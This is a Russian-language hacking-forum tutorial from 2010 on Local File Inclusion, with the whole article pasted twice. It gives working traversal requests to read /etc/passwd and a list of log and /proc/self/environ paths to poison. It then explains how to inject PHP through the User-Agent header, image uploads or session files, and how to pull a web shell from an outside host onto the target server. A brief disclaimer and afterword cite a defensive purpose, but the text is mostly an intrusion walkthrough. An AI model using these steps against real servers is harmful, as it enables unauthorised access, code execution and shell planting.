<Cyber-punk>
25.09.2010, 20:06
Что такое LFI и с чем его едят.
LFI
Иначе говоря,Local File Include.
Внимание! Информация предоставленна, исключительно с целью ознакомления. Автор не несёт ответственность за ваши действия.
Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере.
В общем, грубо говоря, мы можем осуществить чтение php-кода (и не только) из файла при наличии LFI.
Мне, да и другим, чаще всего встречается в различных менеджерах файлов.
Специально, под такой случай нашёл наглядный пример:
http://old.keepme.ru/upload/previews/2010/09/25/4d0de2eb9948faa43d0b9815baafb4e9.jpg (http://old.keepme.ru/upload/images/2010/09/25/4d0de2eb9948faa43d0b9815baafb4e9.jpg)
http://server/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00
Как через эту уязвимость залить шеллл?
Обращаемся к одному из лог-файлов:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../proc/self/environ
../../../../../../../proc/self/cmdline
У меня это proc/self/environ будет. Обращаемся к лог-файлу - http://server/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../proc/self/environ%00
и видим следующее:
http://old.keepme.ru/upload/previews/2010/09/27/2078fbb04af1808e35276bf9dece9e2e.jpg (http://old.keepme.ru/upload/images/2010/09/27/2078fbb04af1808e35276bf9dece9e2e.jpg)
Особенно уделяем внимание данным которые мы передаём, т. е. USER_AGENT (логируется), ACCEPT_ENCODING(не логируется), etc.
Добавим в эти данные код:
http://old.keepme.ru/upload/previews/2010/09/25/5365fb1cdd9828dfa2de449b62798bb9.jpg (http://old.keepme.ru/upload/images/2010/09/25/5365fb1cdd9828dfa2de449b62798bb9.jpg)
В ответ видим такой ответ:
http://old.keepme.ru/upload/previews/2010/09/25/77a30418b4a1d18e7b100bcc678385a5.jpg (http://old.keepme.ru/upload/images/2010/09/25/77a30418b4a1d18e7b100bcc678385a5.jpg)
Чтож, всё лучше чем мы думаем — исполняется пхп код!
Заливаем наш шелл на народ, чтобы получилась строка — http://site.narod.ru/shell.php
Теперь у нас есть два варианта заливки шелла, исполняем этот пхп код или этот
Далее ждём пока страница загрузится, и переходим по адресуhttp://server/shell.php и наслаждаемся шеллом!
Так же можно попробывать выполнить php код прямо в адрессной строке, но это только при большой везучести.
http://server/index.php?dir=data:,
Это при*
PHP Version => 5.2.0
allow_url_include = On
Так, едем дальше.
Часто возникают вопросы, а как залить шелл в виде картинки. Вот ответ:
Находишь форум, или другой источник откуда можно загрузить файл изображения. Если анализатор хреновый - он пропустит твою картинку с php кодом внутри, затем можешь исполнить код:
http://server/script.php?file=../../../shell.jpg%00
Так, вроде бы с картинками разобрались.
Так же уязвимость может быть в сессии.
Например:
Заходим на уязвимый сайт, пару раз обновляем и смотрим cookies:
http://old.keepme.ru/upload/previews/2010/09/25/d7e1590c44f7ef9d5fc28124fd80d38c.jpg (http://old.keepme.ru/upload/images/2010/09/25/d7e1590c44f7ef9d5fc28124fd80d38c.jpg)
Копируем данные из Content, и делаем такую ядовитую строку, вместе с линуксовой коммандой uname -a:
http://old.keepme.ru/upload/previews/2010/09/25/714cb67c90567637172a9b861ccccbec.jpg (http://old.keepme.ru/upload/images/2010/09/25/714cb67c90567637172a9b861ccccbec.jpg)
Showtime! Команда выполнилась, а это значит — ещё один путь для загрузки шелла!
Послесловие.
По сути эта статья - сборник информации по LFI-injection. Это конечно-же не вся информация о LFI-injection но всё-же надеюсь часть информации,
изложенной здесь, поможет системным администраторам и разработчикам принять меры по защите от таких
уязвимостей.
(с)
LFI
Иначе говоря,Local File Include.
Внимание! Информация предоставленна, исключительно с целью ознакомления. Автор не несёт ответственность за ваши действия.
Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере.
В общем, грубо говоря, мы можем осуществить чтение php-кода (и не только) из файла при наличии LFI.
Мне, да и другим, чаще всего встречается в различных менеджерах файлов.
Специально, под такой случай нашёл наглядный пример:
http://old.keepme.ru/upload/previews/2010/09/25/4d0de2eb9948faa43d0b9815baafb4e9.jpg (http://old.keepme.ru/upload/images/2010/09/25/4d0de2eb9948faa43d0b9815baafb4e9.jpg)
http://server/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../etc/passwd%00
Как через эту уязвимость залить шеллл?
Обращаемся к одному из лог-файлов:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../proc/self/environ
../../../../../../../proc/self/cmdline
У меня это proc/self/environ будет. Обращаемся к лог-файлу - http://server/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../proc/self/environ%00
и видим следующее:
http://old.keepme.ru/upload/previews/2010/09/27/2078fbb04af1808e35276bf9dece9e2e.jpg (http://old.keepme.ru/upload/images/2010/09/27/2078fbb04af1808e35276bf9dece9e2e.jpg)
Особенно уделяем внимание данным которые мы передаём, т. е. USER_AGENT (логируется), ACCEPT_ENCODING(не логируется), etc.
Добавим в эти данные код:
http://old.keepme.ru/upload/previews/2010/09/25/5365fb1cdd9828dfa2de449b62798bb9.jpg (http://old.keepme.ru/upload/images/2010/09/25/5365fb1cdd9828dfa2de449b62798bb9.jpg)
В ответ видим такой ответ:
http://old.keepme.ru/upload/previews/2010/09/25/77a30418b4a1d18e7b100bcc678385a5.jpg (http://old.keepme.ru/upload/images/2010/09/25/77a30418b4a1d18e7b100bcc678385a5.jpg)
Чтож, всё лучше чем мы думаем — исполняется пхп код!
Заливаем наш шелл на народ, чтобы получилась строка — http://site.narod.ru/shell.php
Теперь у нас есть два варианта заливки шелла, исполняем этот пхп код или этот
Далее ждём пока страница загрузится, и переходим по адресуhttp://server/shell.php и наслаждаемся шеллом!
Так же можно попробывать выполнить php код прямо в адрессной строке, но это только при большой везучести.
http://server/index.php?dir=data:,
Это при*
PHP Version => 5.2.0
allow_url_include = On
Так, едем дальше.
Часто возникают вопросы, а как залить шелл в виде картинки. Вот ответ:
Находишь форум, или другой источник откуда можно загрузить файл изображения. Если анализатор хреновый - он пропустит твою картинку с php кодом внутри, затем можешь исполнить код:
http://server/script.php?file=../../../shell.jpg%00
Так, вроде бы с картинками разобрались.
Так же уязвимость может быть в сессии.
Например:
Заходим на уязвимый сайт, пару раз обновляем и смотрим cookies:
http://old.keepme.ru/upload/previews/2010/09/25/d7e1590c44f7ef9d5fc28124fd80d38c.jpg (http://old.keepme.ru/upload/images/2010/09/25/d7e1590c44f7ef9d5fc28124fd80d38c.jpg)
Копируем данные из Content, и делаем такую ядовитую строку, вместе с линуксовой коммандой uname -a:
http://old.keepme.ru/upload/previews/2010/09/25/714cb67c90567637172a9b861ccccbec.jpg (http://old.keepme.ru/upload/images/2010/09/25/714cb67c90567637172a9b861ccccbec.jpg)
Showtime! Команда выполнилась, а это значит — ещё один путь для загрузки шелла!
Послесловие.
По сути эта статья - сборник информации по LFI-injection. Это конечно-же не вся информация о LFI-injection но всё-же надеюсь часть информации,
изложенной здесь, поможет системным администраторам и разработчикам принять меры по защите от таких
уязвимостей.
(с)